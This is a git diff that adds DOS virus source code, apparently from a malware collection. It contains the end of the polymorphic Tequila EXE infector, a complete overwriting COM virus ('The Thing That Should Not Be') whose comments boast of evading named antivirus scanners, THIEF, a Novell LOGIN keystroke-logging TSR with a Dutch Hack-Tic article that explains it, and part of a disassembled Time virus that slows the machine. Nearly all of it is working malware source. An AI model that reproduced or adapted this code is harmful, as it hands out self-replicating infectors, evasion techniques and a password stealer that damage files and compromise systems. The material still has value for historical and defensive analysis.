+ MOV DX,052A + CALL INT_21 + POP DS + POP DX + +SAVE_AND_REPLACE_FILE_ATTRIBUTE: + MOV AX,04300 + CALL INT_21 + CS MOV W[09AA],CX ;Masm Mod. Needed + JAE 06FE ;Masm Mod. Needed + JMP RESTORE_CRIT_HANDLER + MOV AX,04301 + XOR CX,CX + CALL INT_21 + JB 077C ;Masm Mod. Needed + +OPEN_FILE_FOR_READ_WRITE: + MOV AX,03D02 + CALL INT_21 + JB 0771 ;Masm Mod. Needed + PUSH DX + PUSH DS + PUSH CS + POP DS + MOV W[09A4],AX ;Masm Mod. Needed + +GET_FILEDATE: + MOV AX,05700 + CALL 06B4 ;Masm Mod. Needed + JB 075C ;Masm Mod. Needed + MOV W[09AC],DX ;Masm Mod. Needed + MOV W[09AE],CX ;Masm Mod. Needed + +READ_AND_CHECK_EXE_HEADER: + CALL 06AD ;Masm Mod. Needed + MOV DX,0A49 + MOV CX,01C + CALL 069A ;Masm Mod. Needed + JB 075C ;Masm Mod. Needed + PUSH DS + POP ES + MOV DI,0E8 + MOV CX,020 + CMP W[0A49],05A4D ;Masm Mod. Needed + JNE 075C ;Masm Mod. Needed + MOV AX,W[0A5B] + CLD + REPNE SCASW + JNE 0754 ;Masm Mod. Needed + OR W[09AE],01F ;Masm Mod. Needed + JMP 075C ;Masm Mod. Needed + CALL READ_PAST_END_OF_FILE + JB 075C ;Masm Mod. Needed + CALL ENCRYPT_AND_WRITE_TO_FILE + +RESTORE_ALTERED_DATE: + MOV AX,05701 + MOV DX,W[09AC] + MOV CX,W[09AE] + CALL 06B4 ;Masm Mod. Needed + +CLOSE_THE_FILE: + MOV AH,03E + CALL 06B4 ;Masm Mod. Needed + +RESTORE_FILE_ATTRIBUTE: + POP DS + POP DX + MOV AX,04301 + CS MOV CX,W[09AA] ;Masm Mod. Needed + CALL INT_21 + +RESTORE_CRIT_HANDLER: + MOV AX,02524 + CS LDS DX,[09B8] ;Masm Mod. Needed + CALL INT_21 + +BAD_NAME: + POP DS + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RET + +CHECK_LETTERS_IN_FILENAME: + PUSH DS + POP ES + MOV DI,DX + MOV CX,-1 + XOR AL,AL + CLD + REPNE SCASB + NOT CX + MOV DI,DX + MOV AX,04353 + MOV SI,CX + SCASW + JE 07B7 ;Masm Mod. Needed + DEC DI + LOOP 07A5 ;Masm Mod. Needed + MOV CX,SI + MOV DI,DX + MOV AL,056 + REPNE SCASB + JE 07B7 ;Masm Mod. Needed + CLC + RET + STC + RET + +READ_PAST_END_OF_FILE: + MOV CX,-1 + MOV DX,-0A + CALL 06A8 ;Masm Mod. Needed + MOV DX,0A65 + MOV CX,8 + CALL 069A ;Masm Mod. Needed + JB RET ;Masm Mod. Needed + CMP W[0A65],0FDF0 ;Masm Mod. Needed + JNE 07F0 ;Masm Mod. Needed + CMP W[0A67],0AAC5 ;Masm Mod. Needed + JNE 07F0 ;Masm Mod. Needed + MOV CX,-1 + MOV DX,-9 + CALL 06A8 ;Masm Mod. Needed + MOV DX,0A6B + MOV CX,4 + CALL 0696 ;Masm Mod. Needed + RET + CLC + RET + +ENCRYPT_AND_WRITE_TO_FILE: + CALL MOVE_TO_END_OF_FILE + MOV SI,AX + MOV DI,DX + MOV BX,0A49 + MOV AX,W[BX+4] + MUL W[0D] ;Masm Mod. Needed + SUB AX,SI + SBB DX,DI + JAE 080C ;Masm Mod. Needed + JMP OUT_OF_ENCRYPT + MOV AX,W[BX+8] + MUL W[0B] ;Masm Mod. Needed + SUB SI,AX + SBB DI,DX + MOV AX,W[BX+0E] + MOV W[4],AX ;Masm Mod. Needed + ADD W[4],010 ;Masm Mod. Needed + MUL W[0B] ;Masm Mod. Needed + ADD AX,W[BX+010] + SUB AX,SI + SBB DX,DI + JB 083C ;Masm Mod. Needed + SUB AX,080 + SBB DX,0 + JB RET ;Masm Mod. Needed + ADD W[BX+0E],09B + MOV AX,W[BX+016] + ADD AX,010 + MOV W[2],AX ;Masm Mod. Needed + MOV AX,W[BX+014] + MOV W[0],AX ;Masm Mod. Needed + CALL 06A4 ;Masm Mod. Needed + ADD AX,09A4 + ADC DX,0 + DIV W[0D] ;Masm Mod. Needed + INC AX + MOV W[0A4D],AX ;Masm Mod. Needed + MOV W[0A4B],DX ;Masm Mod. Needed + MOV DX,DI + MOV AX,SI + DIV W[0B] ;Masm Mod. Needed + MOV W[0A5F],AX ;Masm Mod. Needed + MOV BX,DX + ADD DX,0960 + MOV W[0A5D],DX ;Masm Mod. Needed + CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE + JB RET ;Masm Mod. Needed + OR W[09AE],01F ;Masm Mod. Needed + MOV BX,W[09BC] + AND BX,01F + SHL BX,1 + MOV AX,W[BX+0E8] + MOV W[0A5B],AX ;Masm Mod. Needed + CALL MOVE_TO_BEGINNING_OF_FILE + MOV CX,01C + MOV DX,0A49 + +WRITE_THE_NEW_HEADER: + CALL 0696 ;Masm Mod. Needed + OUT_OF_ENCRYPT: + RET + +COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE: + PUSH BP + XOR AH,AH + INT 01A + MOV AX,DX + MOV BP,DX + PUSH DS + POP ES + MOV DI,0960 + MOV SI,DI + MOV CX,020 + CLD + REP STOSW + XOR DX,DX + MOV ES,DX + CALL ENCRYPT_STEP_ONE + CALL ENCRYPT_STEP_TWO + CALL ENCRYPT_STEP_THREE + MOV B[SI],0E9 + MOV DI,028C + SUB DI,SI + SUB DI,3 + INC SI + MOV W[SI],DI + MOV AX,0A04 + CALL AX + POP BP + RET + +ENCRYPT_STEP_ONE: + DEC BP + ES TEST B[BP],2 ;Masm Mod. Needed + JNE 08EB ;Masm Mod. Needed + MOV B[SI],0E + INC SI + CALL GARBLER + MOV B[SI],01F + INC SI + CALL GARBLER + RET + MOV W[SI],0CB8C + INC SI + INC SI + CALL GARBLER + MOV W[SI],0DB8E + INC SI + INC SI + CALL GARBLER + RET + +ENCRYPT_STEP_TWO: + AND CH,0FE + DEC BP + ES TEST B[BP],2 ;Masm Mod. Needed + JE 0920 ;Masm Mod. Needed + OR CH,1 + MOV B[SI],0BE + INC SI + MOV W[SI],BX + INC SI + INC SI + CALL GARBLER + ADD BX,0960 + TEST CH,1 + JE 0934 ;Masm Mod. Needed + MOV B[SI],0BB + INC SI + MOV W[SI],BX + INC SI + INC SI + CALL GARBLER + ADD BX,0960 + TEST CH,1 + JE 090C ;Masm Mod. Needed + SUB BX,0960 + CALL GARBLER + MOV B[SI],0B9 + INC SI + MOV AX,0960 + MOV W[SI],AX + INC SI + INC SI + CALL GARBLER + CALL GARBLER + RET + +ENCRYPT_STEP_THREE: + MOV AH,014 + MOV DH,017 + TEST CH,1 + JE 0958 ;Masm Mod. Needed + XCHG DH,AH + MOV DI,SI + MOV AL,08A + MOV W[SI],AX + INC SI + INC SI + CALL GARBLER + XOR DL,DL + MOV B[0A39],028 ;Masm Mod. Needed + DEC BP + ES TEST B[BP],2 ;Masm Mod. Needed + JE 0978 ;Masm Mod. Needed + MOV DL,030 + MOV B[0A39],DL ;Masm Mod. Needed + MOV W[SI],DX + INC SI + INC SI + MOV W[SI],04346 + INC SI + INC SI + CALL GARBLER + MOV AX,0FE81 + MOV CL,0BE + TEST CH,1 + JE 0993 ;Masm Mod. Needed + MOV AH,0FB + MOV CL,0BB + MOV W[SI],AX + INC SI + INC SI + PUSH BX + ADD BX,040 + MOV W[SI],BX + INC SI + INC SI + POP BX + MOV B[SI],072 + INC SI + MOV DX,SI + INC SI + CALL GARBLER + MOV B[SI],CL + INC SI + MOV W[SI],BX + INC SI + INC SI + MOV AX,SI + SUB AX,DX + DEC AX + MOV BX,DX + MOV B[BX],AL + CALL GARBLER + CALL GARBLER + MOV B[SI],0E2 + INC SI + SUB DI,SI + DEC DI + MOV AX,DI + MOV B[SI],AL + INC SI + CALL GARBLER + RET + +GARBLER: + DEC BP + ES TEST B[BP],0F ;Masm Mod. Needed + JE RET ;Masm Mod. Needed + DEC BP + ES MOV AL,B[BP] ;Masm Mod. Needed + TEST AL,2 + JE 0A0E ;Masm Mod. Needed + TEST AL,4 + JE 09F7 ;Masm Mod. Needed + TEST AL,8 + JE 09F1 ;Masm Mod. Needed + MOV W[SI],0C789 + INC SI + INC SI + JMP RET ;Masm Mod. Needed + MOV B[SI],090 + INC SI + JMP RET ;Masm Mod. Needed + MOV AL,085 + DEC BP + ES MOV AH,B[BP] ;Masm Mod. Needed + TEST AH,2 + JE 0A05 ;Masm Mod. Needed + DEC AL + OR AH,0C0 + MOV W[SI],AX + INC SI + INC SI + JMP RET ;Masm Mod. Needed + DEC BP + ES TEST B[BP],2 ;Masm Mod. Needed + JE 0A1A ;Masm Mod. Needed + MOV AL,039 + JMP 09F9 ;Masm Mod. Needed + MOV B[SI],0FC + INC SI + RET + +MAKE_THE_DISK_WRITE: + CALL PERFORM_ENCRYPTION_DECRYPTION + MOV AH,040 + MOV BX,W[09A4] + MOV DX,0 + MOV CX,09A4 + PUSHF + CALL D[09B4] ;Masm Mod. Needed + JB 0A37 ;Masm Mod. Needed + SUB AX,CX + PUSHF + CMP B[0A39],028 ;Masm Mod. Needed + JNE 0A44 ;Masm Mod. Needed + MOV B[0A39],0 ;Masm Mod. Needed + CALL PERFORM_ENCRYPTION_DECRYPTION + POPF + RET + +PERFORM_ENCRYPTION_DECRYPTION: + MOV BX,0 + MOV SI,0960 + MOV CX,0960 + MOV DL,B[SI] + XOR B[BX],DL + INC SI + INC BX + CMP SI,09A0 + JB 0A61 ;Masm Mod. Needed + MOV SI,0960 + LOOP 0A52 ;Masm Mod. Needed + RET + +THE_FILE_DECRYPTING_ROUTINE: + PUSH CS + POP DS + MOV BX,4 + MOV SI,0964 + MOV CX,0960 + MOV DL,B[SI] + ADD B[BX],DL + INC SI + INC BX + CMP SI,09A4 + JB 0A7E ;Masm Mod. Needed + MOV SI,0964 + LOOP 0A6F ;Masm Mod. Needed + JMP 0390 ;Masm Mod. Needed + +;========== THE FOLLOWING IS NOT PART OF THE VIRUS ======== +;========== BUT IS MERELY THE BOOSTER. ======== + +START: + LEA W[0104],EXIT ;Masm Mod. Needed + MOV W[0106],CS ;Masm Mod. Needed + MOV BX,CS + SUB W[0106],BX ;Masm Mod. Needed + JMP INSTALL + +EXIT: + INT 020 + +TEQUILA ENDP +CODE_SEG ENDS +END TEQUILA \ No newline at end of file diff --git a/t/THETHING.ASM b/t/THETHING.ASM new file mode 100755 index 0000000..e6b127f --- /dev/null +++ b/t/THETHING.ASM @@ -0,0 +1,301 @@ +; VirusName: The thing that should not be +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-29-1993 +; +; This is a mutation of the Bad Brains by skism, USA +; It was found in April 1992. Many thanx goes to the +; scratch coder of it! +; +; This is a non-resident direct action infector of com files, +; including command.com. It infects one .COM file on the current +; drive, each time it's run by overwrite it. If the file is smaller +; than the virus, it will grow to that size. +; +; This will work just fine, and +; Scan v105 can't find it, neither can +; S&S Toolkit 6.5. +; +; Havn't tried with F-PROT and TBSCAN, but they will probably +; report some virus structure in the file. +; +; Regards : [Metal Militia] +; [The Unforgiven] + +fileattr EQU 21 +filetime EQU 22 +filedate EQU 24 +filename EQU 30 + +virus_size EQU 554 +code_start EQU 0100h + +code segment 'code' +assume cs:code,ds:code,es:code + org code_start + +main proc near + +jmp virus_start + +encrypt_val dw 0000h + +virus_start: + + call encrypt ;encrypt/decrypt file + jmp virus ;go to start of code + +encrypt: + + push cx + mov cx,offset virus_code+virus_size + mov si,offset virus_code ;start encryption at data + mov di,si + cld + +xor_loop: + + lodsw + xor bx,encrypt_val ;get encryption key <- ?x = scan string + stosw + dec cx + jcxz stoppa + jmp xor_loop + +stoppa: + + pop cx + ret + +infectfile: + + mov dx,code_start ;where virus starts in memory + mov bx,handle ;load bx with handle + mov cx,virus_size ;number of bytes to write + call encrypt ;encrypt file + mov ax,4000h ;write to file + int 21h ; + call encrypt ;fix up the mess + ret + +virus_code: + +; Some more nice notes included in this one.. + + +vname db " The Thing That Should Not Be ",0 ; +vname_2 db " He searches",0 +vname_3 db " Hunters of the shadow is rising ",0 + db " Crawling chaos, underground, ",0 + db " out from ruins once possessed ",0 + db " Fallen city, living death..",0 + + + +wildcards db "*",0 ;search for directory argument +filespec db "*.COM",0 ;search for COM file argument +rootdir db "\",0 ;argument for root directory +dirdata db 43 dup (?) ;holds directory DTA +filedata db 43 dup (?) ;holds files DTA +diskdtaseg dw ? ;holds disk dta segment +diskdtaofs dw ? ;holds disk dta offset +tempofs dw ? +tempseg dw ? +drivecode db ? ;holds drive code +currentdir db 64 dup (?) ;save current directory into this +handle dw ? ;holds file handle +orig_time dw ? +orig_date dw ? +orig_attr dw ? +idbuffer dw 2 dup (?) + +virus: + + mov ax,3000h ;get dos version + int 21h ; + cmp al,02h ;is it at least 2.00? + jb bus ;won't infect less than 3.00 + mov ah,2ch ;get time + int 21h ; + add dh,cl ;add the two registers + mov encrypt_val,dx ;save m_seconds to encrypt val so + ;we have up to 65,535 mutations + + +setdta: + + mov dx,offset dirdata ;offset of where to hold new dta + mov ah,1ah ;set dta address + int 21h ; + +newdir: + + mov ah,19h ;get drive code + int 21h ; + mov dl,al ;save drivecode + inc dl ;add one to dl, because functions differ + mov ah,47h ;get current directory + mov si, offset currentdir ;buffer to save directory in + int 21h ; + + mov dx,offset rootdir ;move dx to change to root directory + mov ah,3bh ;change directory to root + int 21h ; + +scandirs: + + mov cx,13h ;look for directorys + mov dx, offset wildcards ;look for '*' + mov ah,4eh ;find first file + int 21h ; + cmp ax,12h ;no first file? + jne dirloop ;no dirs found? bail out + +bus: + jmp abort + +copyright db 'Metal Militia / Immortal Riot ' + +dirloop: + + mov ah,4fh ;find next file + int 21h ; + cmp ax,12h + je quit ;no more dirs found, roll out + +chdir: + + mov dx,offset dirdata+filename;point dx to fcb - filename + mov ah,3bh ;change directory + int 21h ; + + mov ah,2fh ;get current dta address + int 21h ; + mov [diskdtaseg],es ;save old segment + mov [diskdtaofs],bx ;save old offset + mov dx,offset filedata ;offset of where to hold new dta + mov ah,1ah ;set dta address + int 21h ; + +scandir: + + mov cx,07h ;find any attribute + mov dx,offset filespec ;point dx to "*.COM",0 + mov ah,4eh ;find first file function + int 21h ; + cmp ax,12h ;was file found? + jne transform + +nextexe: + + mov ah,4fh ;find next file + int 21h ; + cmp ax,12h ;none found + jne transform ;found see what we can do + + mov dx,offset rootdir ;move dx to change to root directory + mov ah,3bh ;change directory to root + int 21h ; + mov ah,1ah ;set dta address + mov ds,[diskdtaseg] ;restore old segment + mov dx,[diskdtaofs] ;restore old offset + int 21h ; + jmp dirloop + +quit: + + jmp rollout + + +transform: + + mov ah,2fh ;temporally store dta + int 21h ; + mov [tempseg],es ;save old segment + mov [tempofs],bx ;save old offset + mov dx, offset filedata + filename + + mov bx,offset filedata ;save file... + mov ax,[bx]+filedate ;date + mov orig_date,ax ; + mov ax,[bx]+filetime ;time + mov orig_time,ax ; and + mov ax,[bx]+fileattr ; + mov ax,4300h + int 21h + mov orig_attr,cx + mov ax,4301h ;change attributes + xor cx,cx ;clear attributes + int 21h ; + mov ax,3d00h ;open file - read + int 21h ; + jc fixup ;error - find another file + mov handle,ax ;save handle + mov ah,3fh ;read from file + mov bx,handle ;move handle to bx + mov cx,02h ;read 2 bytes + mov dx,offset idbuffer ;save to buffer + int 21h ; + + mov ah,3eh ;close file for now + mov bx,handle ;load bx with handle + int 21h ; + + mov bx, idbuffer ;fill bx with id string + cmp bx,03ebh ;infected? + jne doit ;same - find another file + + +fixup: + mov ah,1ah ;set dta address + mov ds,[tempseg] ;restore old segment + mov dx,[tempofs] ;restore old offset + int 21h ; + jmp nextexe + + +doit: + + mov dx, offset filedata + filename + mov ax,3d02h ;open file read/write access + int 21h ; + mov handle,ax ;save handle + + call infectfile + + ;mov ax,3eh ;close file + ;int 21h + +rollout: + + mov ax,5701h ;restore original + mov bx,handle ; + mov cx,orig_time ;time and + mov dx,orig_date ;date + int 21h ; + + mov ax,4301h ;restore original attributes + mov cx,orig_attr + mov dx,offset filedata + filename + int 21h + ;mov bx,handle + ;mov ax,3eh ;close file + ;int 21h + mov ah,3bh ;try to fix this + mov dx,offset rootdir ;for speed + int 21h ; + mov ah,3bh ;change directory + mov dx,offset currentdir ;back to original + int 21h ; + +Abort: + + mov ax,4c00h ;end program + int 21h ; + + +main endp +code ends + end main + + \ No newline at end of file diff --git a/t/THIEF.ASM b/t/THIEF.ASM new file mode 100755 index 0000000..e98dd3d --- /dev/null +++ b/t/THIEF.ASM @@ -0,0 +1,269 @@ +;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop. +;Nadruk wordt door de redaktie toegestaan! +;------------------------------------------------------------------------------ +; +; Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken +;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of +;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het +;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van +;een anonieme auteur. +; +; THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma +;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om +;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong +;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington +;High School in Denver, Colorado USA. +; Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30 +;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait +;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op +;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden +;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende +;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2 +;model 80's(!) met harddisks. De systeembeheerders en andere "power-users" +;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen +;hard-disks, zij gebruiken geen boot-proms. +; Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF +;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase. +;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen" +;programma op de bootschijf activeerde. Zodra er echter een programma met de +;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle +;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De +;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft. +; Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de +;zwakheden die deze hack mogelijk maken: +; -Een boot-proces dat veranderd kan worden +; -Fysieke toegang (door een onbevoegde) tot de computer +; Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is +;Kees. +; Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde +;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS: +;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te +;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op +;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS. +;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle +;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het +;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een +;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had +;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach, +;zo werkt het ook. +; Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als +;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de +;problematiek van LAN-beveiliging. +; De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo +;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte +;genialiteit. +; +; Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker +;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren. +; +; +; DE CODE VAN THIEF: +; +; +cseg segment + assume cs:cseg,ds:cseg + + org 100h + public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create, + public cntr,lits,begin + + .RADIX 16 +start: + push cs + push cs + push cs + pop ds + pop es + mov ax,0fffeh + CLI + pop ss + mov sp,ax + STI + jmp begin +oi21 dd ? +ac dw 0 +ob dw 80h dup (?) +buff2 db 80h dup (?) +fn db 'c:\testing.tmp',0,' ' +search1 db 'LOGIN' +foundf db 0 +fh dw 0 +flag db 0 +cntr dw 0 + +ni21: + assume cs:cseg,ds:nothing,es:nothing + cmp ax,4b00h + je exec + cmp foundf,0ffh + jne nc + cmp ah,8 + je oc + cmp ah,7 + je oc + +nc: + push ax + mov al,cs:flag + not al + cmp al,0 + jne jtov + mov ax,cntr + inc ax + mov cntr,ax + cmp ax,31h + jb jtov + xor ax,ax + mov cntr,ax + mov flag,al + pop ax + pushf + call dword ptr [oi21] + push ds + push cs + pop ds + push ax + push bx + push cx + push dx + jmp short wpwtf + +jtov: + pop ax + jmp dword ptr cs:[oi21] + +exec: call scanfor + jmp nc +oc: + + pushf + call dword ptr cs:[oi21] + assume ds:cseg + push ds + push cs + pop ds + push ax + push bx + push cx + push dx + mov bx,ac + mov [bx],al + inc bx + mov [ac],bx + cmp al,0dh + jne lethro + mov byte ptr [bx],0ah + not cs:[flag] +lethro: + pop dx + pop cx + pop bx + pop ax + pop ds + iret + +scanfor: + push ax + push di + push si + push es + push ds + push cs + push cs + pop es + mov si,dx + mov di,offset buff2 +moveit: + lodsb + and al,0dfh + stosb + or al,al + jnz moveit + pop ds + mov di,offset buff2 +look: + push di + mov si,offset search1 + mov cx,5 + repe cmpsb + pop di + or cx,cx + jz foundit + inc di + cmp byte ptr [di+5],0 + je not_found + jmp look +not_found: + xor ax,ax + mov foundf,al + jmp short endofsearch +foundit: + mov ax,0ffh + mov foundf,al +endofsearch: + pop ds + pop es + pop si + pop di + pop ax + ret + +wpwtf: + mov ax,3d02h + mov dx,offset fn + pushf + call dword ptr [oi21] + jnc exist + cmp al,2 + je create + jmp lethro +create: + mov ah,3ch + mov dx,offset fn + mov cx,02h+04h + pushf + call dword ptr [oi21] + jnc exist + jmp lethro +exist: + mov fh,ax + mov bx,ax + mov ax,4202h + xor cx,cx + xor dx,dx + pushf + call dword ptr [oi21] + mov cx,[ac] + mov dx,offset ob + sub cx,dx + mov [ac],dx + inc cx + mov bx,fh + mov ah,40h + pushf + call dword ptr [oi21] + mov ah,3eh + mov bx,fh + pushf + call dword ptr [oi21] + jmp lethro + +lits db 90h +begin: + mov ax,offset ob + mov [ac],ax + mov ax,3521h + int 21h + mov di,offset oi21 + mov [di],bx + mov [di+2],es + mov dx,offset ni21 + push cs + pop ds + mov ax,2521h + int 21h + mov dx,offset lits + int 27h +cseg ends + end start + \ No newline at end of file diff --git a/t/TIME.ASM b/t/TIME.ASM new file mode 100755 index 0000000..f00138a --- /dev/null +++ b/t/TIME.ASM @@ -0,0 +1,785 @@ +; Start disassembly +DATA_1E EQU 64H ; (761D:0064=0) +DATA_2E EQU 66H ; (761D:0066=0) +DATA_3E EQU 68H ; (761D:0068=0) +DATA_10E EQU 4F43H ; (761D:4F43=0) +DATA_11E EQU 504DH ; (761D:504D=0) + +SEG_A SEGMENT + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +Time PROC FAR + +start: + JMP Virus_Entry_Point ; + +; +; +; Original Program without 1st three bytes... +; +; + +DATA_5 DB 9987 DUP (90H) + MOV AH,4CH ; + MOV AL,DATA_2 ; Terminate to DOS with + INT 21H ; exitcode AL + DB 0 +DATA_2 DB 0 + DB 0 + +; +; +; Virus Entry Point +; +; + +Virus_Entry_Point: + JMP SHORT Set_Virus_Data_Point + NOP + +; +; +; Set Virus Data Storage Point +; +; + +Set_Virus_Data_Point: + PUSH CX ; Store CX + MOV DX,2B2DH ; + MOV SI,DX ; SI points at start of + ; virus data + +; +; +; Get DTA Address +; +; + + + PUSH ES ; Store ES + MOV AH,2FH ; GET DTA address into + INT 21H ; ES:BX + MOV [SI],BX ; Store BX of DTA + MOV [SI+2],ES ; Store ES of DTA + POP ES ; Restore ES + +; +; +; Set new DTA Address +; +; + + MOV DX,4EH ; + ADD DX,SI ; + MOV AH,1AH ; + INT 21H ; Set new DTA to DS:DX + + PUSH SI ; Store SI + CLD ; Clear direction + MOV DI,SI ; + ADD SI,0AH ; + ADD DI,81H ; + MOV CX,3 ; Move 3 bytes from source + REP MOVSB ; to destination (E9h, 45h + ; 45h) + POP SI ; Restore SI + + PUSH ES ; Store ES + PUSH SI ; Store SI + PUSH BX ; Store BX + MOV BX,2CH + MOV AX,[BX] ; Get Extra Segment? + POP BX ; Restore BX + MOV ES,AX + MOV DI,0 + +; +; +; Search for the PATH +; +; + +Search_For_Path: + POP SI ; Restore SI + PUSH SI ; Store SI + ADD SI,1AH ; + LODSB ; Load the 'M' into AL + MOV CX,8000H ; + REPNE SCASB ; + MOV CX,4 ; + Path_Loop: + LODSB ; + SCASB ; + JNZ Search_For_Path ; + LOOP Path_Loop ; Pitty, PATH not yet found. + + POP SI ; Restore SI + POP ES ; Restore ES + MOV [SI+16H],DI ; Store address of PATH + MOV BX,SI ; Temp. Storage of SI + ADD SI,26H ; + MOV DI,SI ; + JMP SHORT Find_First_FileName + NOP + +; +; +; +; +; + +Error: + CMP WORD PTR [SI+16H],0 + JNE Set_Virus_Path ; + JMP Restore_Org_DTA ; Error occured. Restore + ; original DTA, + ; 1st three bytes and + ; execute original + ; program. + +; +; +; Start Searching for PATH +; +; + +Set_Virus_Path: + PUSH DS ; Store Registers + PUSH SI + PUSH AX + PUSH ES + PUSH ES + POP DS ; DS=ES + PUSH BX + MOV BX,2CH + MOV AX,[BX] + POP BX ; Restore BX + MOV [SI+1FH],AX ; + MOV DI,SI ; + MOV AX,[DI+16H] ; Org.address of PATH + MOV SI,AX ; + MOV DS,[DI+1FH] ; + POP ES ; + POP AX ; + ADD DI,26H ; +Reached_EO_Path: + LODSB ; Get byte into AL + CMP AL,3BH ; Path Delimiter ';' reached? + JE Delimiter_Reached ; Yes + CMP AL,0 ; End of Path reached? + JE EO_Path_Reached ; Yes + STOSB ; Store byte in AL + JMP SHORT Reached_EO_Path ; +EO_Path_Reached: + MOV SI,0 ; +Delimiter_Reached: + POP BX ; + POP DS ; + MOV [BX+16H],SI ; + CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by + ; a backslash? + JE Find_First_FileName ; Yes + MOV AL,5CH ; + STOSB ; Place Backslash + +; +; +; Find First Filename +; +; + +Find_First_FileName: + MOV [BX+18H],DI ; Store at which address + ; the path starts + ; BX=SI + MOV SI,BX ; Restore SI + ADD SI,10H ; + MOV CX,6 ; + REP MOVSB ; Set Search.Spec. + MOV SI,BX ; Restore SI + + MOV AH,4EH ; + MOV DX,26H ; + ADD DX,SI ; Filename:= *.COM + MOV CX,3 ; Search Attributes: + ; Read Only/Hidden + INT 21H ; Find 1st Filename to + ; match with DS:DX + JMP SHORT Error_Handler ; + NOP + +; +; +; Find Next Filename +; +; + +Find_Next_FileName: + MOV AH,4FH ; + INT 21H ; Find next Filename to + ; match with DS:DX + +; +; +; Error Handler +; +; + +Error_Handler: + JNC Check_Filelength ; Jump if carry=0, so + ; no errors + JMP SHORT Error ; Carry Set, so error + ; occured + +; +; +; Check Filelength and look if file is already infected. +; +; + + +Check_Filelength: + MOV AX,DS:DATA_1E[SI] ; (761D:0064=0) + AND AL,1FH + CMP AL,7 + JE Find_Next_FileName ; File already infected. + CMP WORD PTR DS:DATA_3E[SI],0FA00H + ; Is the length of the + ; file more as FA00h bytes? + JA Find_Next_FileName ; Yes. + CMP WORD PTR DS:DATA_3E[SI],0F00H + ; Is the length of the + ; file less as 0F00h bytes? + JB Find_Next_FileName ; Yes + MOV DI,[SI+18H] ; Get address of path of virus + PUSH SI ; Store SI + ADD SI,6CH +Set_FileName: + LODSB ; Set up Filename for + STOSB ; infection. + CMP AL,0 ; End Of Filename Reached? + JNE Set_FileName ; No + +; +; +; Set Temporary File attributes +; +; + + POP SI ; Restore SI + MOV CX,[SI+63H] ; + MOV CH,0 ; + MOV [SI+8],CX ; Get File-Attributes + MOV AX,CX ; + MOV CX,0FFFEH ; + AND AX,CX ; Remove Read-Only Attribute + MOV CX,AX ; + MOV AX,4301H ; + MOV DX,26H ; + ADD DX,SI ; + INT 21H ; Set File-Attributes + +; +; +; Open the File +; +; + + MOV AX,3D02H ; Open the file for both + INT 21H ; reading and writing + JNC Give_Infection_Marker ; If no error occured... + JMP Set_FileAttributes_Back ; Error occured + +Give_Infection_Marker: + MOV BX,AX + MOV CX,DS:DATA_2E[SI] ; (761D:0066=0) + MOV [SI+6],CX + MOV CX,DS:DATA_1E[SI] ; (761D:0064=0) + AND CL,0E0H + OR CL,7 + MOV [SI+4],CX + JMP SHORT Get_Current_Time ; (2967) + NOP + +; +; +; This Part will be installed resident after hooking INT 20h +; +; + + PUSHF ; Push flags + PUSH DS + PUSH ES + PUSH SS + PUSH AX + PUSH BX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + MOV DX,43H + MOV AL,74H ; This will change the refesh + OUT DX,AL ; rate, thus slowing down the + MOV DX,41H ; PC. Every normal program- + MOV AL,8 ; termination by calling + OUT DX,AL ; INT 20h will call this + MOV AL,7 ; rourtine + OUT DX,AL ; + POP BP + POP SI + POP DI + POP DX + POP BX + POP AX + POP SS + POP ES + POP DS + POPF ; Pop flags + JMP CS:DATA_5 ; (761D:0253=9090H) + ; JMP to org. INT 20h address + ADD [BX+SI],AL + ADD [BX+SI],AL + +; +; +; Get Current Time +; +; + +Get_Current_Time: + PUSH AX ; Store all registers + PUSH BX + PUSH CX + 